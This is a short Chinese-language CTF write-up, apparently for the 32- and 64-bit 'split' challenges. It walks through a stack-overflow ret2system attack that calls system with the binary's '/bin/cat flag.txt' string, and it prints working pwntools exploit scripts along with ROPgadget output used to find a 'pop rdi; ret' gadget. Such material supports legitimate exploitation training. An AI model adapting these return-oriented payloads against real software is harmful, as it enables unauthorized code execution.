溢出点还是一样,不过少了可直接利用的函数,但是程序中提供了system函数和字符串"/bin/cat flag.txt",同样ret到system并且通过栈传入"/bin/cat flag.txt"即可
exp:
from pwn import *
sh = process('./split32')
system = 0x08048657
cat = 0x0804A030
pyaload = 'A' * 0x28 + p32(0) + p32(system) + p32(cat)
sh.sendline(pyaload)
sh.interactive()
因为64位rdi是存储函数的第一个参数,所以我们需要pop rdi ;ret
通过命令
ROPgadget --binary ./split --only "pop|ret"
找到gadget
Gadgets information
============================================================
0x000000000040087c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040087e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400880 : pop r14 ; pop r15 ; ret
0x0000000000400882 : pop r15 ; ret
0x000000000040087b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040087f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004006b0 : pop rbp ; ret
0x0000000000400883 : pop rdi ; ret
0x0000000000400881 : pop rsi ; pop r15 ; ret
0x000000000040087d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004005b9 : ret
64位exp:
from pwn import *
sh = process('./split')
system = 0x4005E0
cat_flag = 0x601060
pop = 0x400883
payload = "A" * 0x20 + p64(0) + p64(pop) + p64(cat_flag) + p64(system)
sh.sendline(payload)
sh.interactive()
网友评论